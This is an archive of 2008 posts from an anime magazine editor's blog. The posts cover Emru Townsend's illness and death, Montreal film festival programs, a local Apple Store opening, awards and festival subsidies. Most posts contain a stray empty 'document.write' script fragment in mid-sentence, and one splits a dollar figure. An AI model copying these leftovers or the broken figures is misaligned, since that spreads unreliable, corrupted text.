Emru Townsend dies at 39

Emru Townsend died of leukemia on November 11. He was only 39 years-old.
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We have already talked about his diagnosis, document.write(“”); his
quest for a bone marrow donor and his successful transplant. Unfortunately, his cancer was too aggressive and the leukemia didn’t go into remission despite the successful transplant. Many have already written his eulogy and obituary (ANN, The Gazette, PC World), so there’s no need for me to write about that. However, I still wanted to say a few words about him.

I didn’t know him very well, but I wish we’d stayed more in contact. We worked on a few projects together in the late 80s and early 90s, but recently we were only meeting by chance in conventions and festivals. He started collaborating with Protoculture Addicts with issue #2 (providing ideas, news blurbs and working as proofreader) and we started together the first anime club of the University of Montreal. After a while Emru drifted away to work on his many projects (he always had new ideas and projects) and I took care of the anime club alone. He contributed only a few articles in the magazine (mostly one on Project A-ko in #4 and one on Akira in #7), but his work was excellent and he pitched in many ideas and always provided encouragement.

Quickly after starting working with us, he requested to be made partner. I answered that I would like him to work with us at least a year before considering that. He couldn’t wait, so he left and started his own magazine, FPS. I always felt that he never forgave me for that. Later, he heavily criticized the quality of our Anime Guide book, blaming me personally (and my french-canadian origins) for the book’s flaws (despite the fact that I only wrote the presentation and supervised the project, hiring instead the best Italian translator and the best English editor that we could afford). It was probably a philosophical difference: I guess Emru was a perfectionist while I am rather a pragmatist (after having worked six years to get that book published I wanted the information—the data—available to anime fans and scholars as soon as possible even if I knew that its form and presentation were quite imperfect). However, despite those differences, I never felt animosity between us and I always admired the quality of his work and dedication.

He was a great guy and he will be sorely missed by all animation fans. I want to express my sincere condolences to his family and friends.

You can visit Emru’s Blog, Facebook group and web hub to learn more about his work.

Emru gets his transplant

Animation and technology writer/blogger Emru Townsend, document.write(“”); who was diagnosed with leukemia in late 2007 but found a bone marrow donor match last Summer after a long campaign to encourage donors from ethnic communities, has finally received his transplant this week [hit the links for details]. Now he has to wait two to three weeks to see if the graft takes well on his body. But he is not out of the wood yet, as the first 100 days are crucial since his body has to rebuild its immune system.

Congrats for the transplant, Emru, and we wish you the best for the months to come.

You can visit Emru’s Blog, Facebook group and web hub to leave him words of encouragement.

A blog for the voice of Minmei

Rebecca Forstadt, document.write(“”); probably better known for being the voice of Lynn Minmei in Robotech (under the name Reba West)—but she is also credited for over eighty voiceworks on the IMDb, has just started a blog and a Facebook group:
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http://rebeccaforstadtanime.blogspot.com/

http://www.facebook.com/group.php?gid=22293804834

Montreal World Film Festival 2008

Today, document.write(“”); in a press conference, the Montreal World Film Festival has announced the program for its 32nd edition. The festival will be held from August 21 to September 1st in four locations (at the Imperial Theatre, Maisonneuve Theatre, Quartier Latin Cinema and Cinema ONF). Tickets are sold for $10, but are available in 10-coupon ($60) or 30-coupon booklets ($150). A Cinephile Pass is also available for $300.
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This year the festival will offer 234 feature films (105 of which are world or international premieres), 13 medium-length films and 208 shorts. That includes 32 films in World Competition (20 features, 12 shorts), 17 in the First Films World Competition, 30 Hors-Concours, 192 in the Focus on World Cinema (84 features and 108 shorts), 63 documentaries, 15 tributes movies, 18 in the Cinema Under the Stars, 15 in Our Cinema at Radio-Canada and 73 in the Student Film Festival!

The Festival will offer a posthumous tribute to Mrs Kashiko Kawakita, founder of the Kawakita Memorial Film Institute, for her work promoting Japanese Cinema abroad. To commemorate her 100th anniversary, the festival will be presenting a sampling of significant works by prominent postwar Japanese directors, each a winner of the Kawakita Award:

There will be ten Japanese films shown at the festival. Two are in Official Competition:

  • Okuribito, directed by Yojiro Takita (Onmyoji, Mibu Gishi Den, Ashura). A young cellist who suddenly finds himself out of work when his orchestra disbands, moves back to his hometown and takes a job as an undertaker. It’s not a job his wife appreciates, but his daily encounters with death teach him about life. ( IMDb / Official web page )
  • Dare mo Mamotte Kurenai (Nobody To Watch Over Me), directed by Ryoichi Kimizuka (writer for Parasyte Eve and the Odoru Daisosasen TV series & movies). The Funamaras seem a typical suburban family until the police knock on the door one day and arrest their 18-year-old boy for murder. His teenage sister and the cop assign to protect her must hide out from a relentless public braying for blood. ( IMDb / Eiga Wiki / Official web page )

Three in the First Film World Competition:

  • Der Rote Punkt (The Red Spot), directed by Marie Miyayama, is a Germany/Japan co-production. ( IMDb )

One in the Hors-Concours / World Greats category:

  • The Magic Hour, by Koki Mitani (Uchoten Hotel). A gangster having an affair with the wife of his boss is found out, but promises to save face by recruiting a famous hitman. Instead, when he can’t find the real thing, he hires an actor to fill the role until he can find a suitable replacement. ( IMDb / Wikipedia / Official web page )

And four in Focus on World Cinema:

  • Yashi (Tears) by Sano Shinju (a Kazakhstan/Japan/Russia co-production).

More details will be added as soon as they are available.

Here’s the highlights of the press conference (10 min. out of the 60 min. conference — in French, sorry):

play_blip_movie_1156781();

And a picture of Serge Losique (Festival’s president) and Danièle Cauchard (Directeur Général) with this year’s poster:

[Updated 2008/08/15]

Montreal’s Apple Store opening friday

Montreal’s Apple Store, document.write(“”); located at 1321 Ste-Catherine Ouest (just beside the Ogilvy), will open Friday at 5PM. After that the opening hours will be Mon.-Fri.: 9am – 9pm, Sat.: 9am – 5pm and Sun.: noon – 5pm.
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Unfortunately, I’ll be busy friday so I won’t be able to be there for the opening. However, today I was going downtown to check the PO box and run a few errands, so I couldn’t resist to go have a look:


Employees were busy putting the final touch to the store for friday’s opening:


I was also surprised to discover that Montreal’s policemen are not riding segways, but a kind of 3-wheel scooter. Cool:


Please excuse the bad pictures quality. I wasn’t carrying my camera so I had to use my cellphone to take those pictures.

Fantasia 2008


Today Fantasia announced its programmation:

The 12th edition of the Fantasia Film Festival, document.write(“”); North America’s premier genre cinema event, will be held from July 3rd to July 21st, 2008 in three theatres (Hall, J.A. DeSeve and D.B. Clarke) of Montreal’s Concordia University. This year it offers more than 100 feature films, over 200 shorts, 7 documentaries and there will be also more than fifty guests present to introduce their movies. The Program Book will be on sale Sunday June 29th at the cost of $5. Tickets will be available from July 3rd for $8.00 or $70 for 10 tickets.

The programming includes 56 Asian movies: 23 from Japan, 1 from China, 10 from Hong Kong, 16 from Korea, 5 from Thailand and 1 from Vietnam.

The selection of anime is rather thin this year: Batman: Gotham Knight (a USA/Japan coproduction that give the Animatrix treatment to Batman with six animated shorts directed by Yasuhiro Aoki, Futoshi Higashide, Toshiyuki Kuboka, Hiroshi Morioka, Shoujirou Nishimi and Nam Jong-sik) and Genius Party (the experimental animated anthology from studio 4’C that we talked about in PA#96).

However, the selection offers more live-action movies based on manga. The most obvious is L: Change the World (Hideo Nakata’s [Ring] prequel based on Death Note), but there’s also Akanbo Shoujo (directed by Yudai Yamaguchi based on the popular Kazuo Umezu’s popular manga), Always: Sunset on Third Street 2 (dir. by Takashi Yamazaki and adapted from Yohei Saigan’s manga Sanchome no Yuhi: Yuyake no Uta), Be a Man! Samurai School (dir. by Tak Sakaguchi, based on Akira Miyashita’s manga Sakigake! Otoko Juku) and Le Grand Chef (a Korean movie dir. by Jeon Yun-su and based on a popular Manhwa).

The festival will also show three Nikkatsu action movies from the 60s: A Colt is my Passport (1967), Gangster VIP (1968), and Velvet Hustler (1967).

The other Japanese movies are: Accuracy of Death, Adrift in Tokyo, Black Belt, Chanbara Beauty, The Chasing World, Gachi Boy: Wresling with a Memory, Machine Girl (a coproduction with the USA), The Most Beautiful Night in the World, Negative Happy Chain Saw Edge, Robo Rock, Sasori (a coproduction with HK), The Shadow Spirit, Shamo (a coproduction with HK), Sukiyaki Western Django (the latest Takashi Miike), Tokyo Gore Police and X-Cross.

Another notable movie is The Midnight Meat Train (a USA movie dir. by Ryuhei Kitamura [Versus, Aragami] and based on a story by Clive Barker).

The Japanese guests will be Tak Sakaguchi (Tokyo Gore Police, Be a Man! Samurai School), Isao Karasawa (Be a Man! Samurai School), Ryuhei Kitamura (Midnight Meat Train), Eihi Shiina (Tokyo Gore Police), Yoshihiro Nishimura (Tokyo Gore Police) and we must also mention Mark Schilling (the movie historian, who will present A Colt Is my Passport).

The other Asian movies are: Alone (Thai), Art of the Devil 3 (Thai), The Assembly (China), Beautiful Sunday (Kor), The Butcher (Kor), The Detective (HK), Disciples of the 36th Chamber (HK, a Shaw Brothers movie with Gordon Liu, who will attend the movie presentation), An Emperess & the Warrior (HK/China), Epitaph (Kor), 4bia (Thai), Going by the Book (Kor), Handle Me with Care (Thai), A Love (Kor), Mad Detective (HK), May 18th (Kor), The Moss (HK), Muay Thai Chaiya (Thai), No Mercy for the Rude (Kor), Our Town (Kor), Paradise Murdered (Kor), Punch Lady (Kor), The Pye-Dog (HK), The Rebel (Vietnam), Seven Days (Kor), The Sparrow (HK), A Tale of Legendary Libido (Kor), Triangle (HK/China), Voice of a Murdered (Kor), Who’s that Knocking at my Door? (Kor), and Wide Awake (Kor).

Happy Festival!

(See also the ANN news entry)

Fantasia is coming!

Fantasia is coming soon and its programming will be unveiled at a press conference June 26th. Soon after, document.write(“”); it will be available for consultation on their web site: www.fantasiafestival.com!

They will also launch the program book at a “Fantasia 2008 Preview Night“ hosted at the Centre St-Ambroise (5080 St-Ambroise, in St-Henri, Montreal) Friday June 27th from 9 PM. Come get your copy, watch this year’s trailers and drink a nice cold St-Ambroise! Admission is free and the program of this 12th edition of the Fantasia Festival is $5. Spread the word!

I’ll give details on the progamming Thursday. Stay tuned!

SPJA Nomination for PA

Protoculture Addicts is nominated in the “Best Publication” category for the 2008 Society for the Promotion of Japanese Animation Industry Award alongside Anime Insider, document.write(“”); Newtype, Otaku USA and Shojo Beat. The vote was closed on May 15th and the results will be announced during the SPJA Industry Reception at Anime Expo® 2008.
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Source:
Anime News Network.

PA’s Editor-in-chief to receive Momiji Award

Anime North will honor Protoculture Addicts‘ founder and Editor-in-chief, document.write(“”); Claude J Pelletier, with the Momiji Award at the May 23-25 2008 convention in Toronto, Canada.
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This Canadian Award honours “people who laid the foundations and helped to nurture the world-wide love of anime and manga that we all share.” The Award was previously presented to Fred Ladd (2001), Tezuka Studio’s Takayuki Matsutani (2002), Frank Miller (2003), Hayao Miyazaki & Studio Ghibli (2004), Carl Macek (2005), Go Nagai (2006), and Peter Fernandez & Corinne Orr (2007).

Claude J Pelletier will also be a guest at Otakuthon (July 26-27) and Chibi-PA (September 27-28).

More information on Anime News Network.

Boréal 2008

Le 25e congrès de la science-fiction et du fantastique, document.write(“”); Boréal 2008, se tiendra les 9, 10 et 11 mai à l’Université Concordia de Montréal (Pavillon Henry F Hall, 1455 de Maisonneuve Ouest) sous le thème “Pour une Science-Fiction Citoyenne.”

Vous pouvez consulter le programme et trouver toutes les information nécessaire sur le site de Boréal.

Je vais faire tout mon possible pour y assister les trois jours (du moins en fin d’après-midi et en soirées).

Je me serais inscrit d’avance s’il y avait un moyen de le faire par internet (comme quoi les gens de la SFQ / SFCF (pour faire plaisir à Jean-Louis) sont pas encore au niveau des paiments électronique type PayPal…)

Charmante affiche. Dommage que le nom de l’artiste ne soit pas mentionné sur le site (et il est illisible sur l’illustration de l’affiche de la page web). Serait-ce Fifine prise dans la mêlée?

Fantasia to get subsidies from the SODEC [Updated]

I just read today in the free newspaper 24 Heures that the Festival Fantasia will finally received governmental subsidies from the SODEC (Société de développement des entreprises culturelles / Society for the development of cultural ventures).
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The subsidies were announced by the SODEC
yesterday.

Six movie festivals in Quebec (including four in Montreal) will share subsidies of $825, document.write(“”); 000.

The other festivals include the Montreal World Film Festival (getting $225, 000), le Festival du Nouveau Cinéma (getting $220,000), le Carrousel International du Film de Rimouski (getting $120,000), le Festival du Cinéma International D’Abitibi-Témiscamingue (getting $115,000) and Les Recontres Internationales du Documentaire de Montreal (getting $95,000).

Fantasia will receive a $50,000 subsidy from the SODEC. It is an improvement since they only got $35,000 in 2007 from the Municipal & Regional Affairs Ministry. It is a little disappointing, since the festival deserves more, but it will certainly means a few improvement to the festival this year (more movies? more guests?). Fantasia has yet to comment or emit a press release on the SODEC announcement.

The 12th edition of Fantasia, the North American Premier Genre Film Festival (known for showing lots of edgy Japanese live-action and anime), will be held July 3-21 2008.

[updated 2008/04/17 with details from The Gazette 2008/04/16: D5]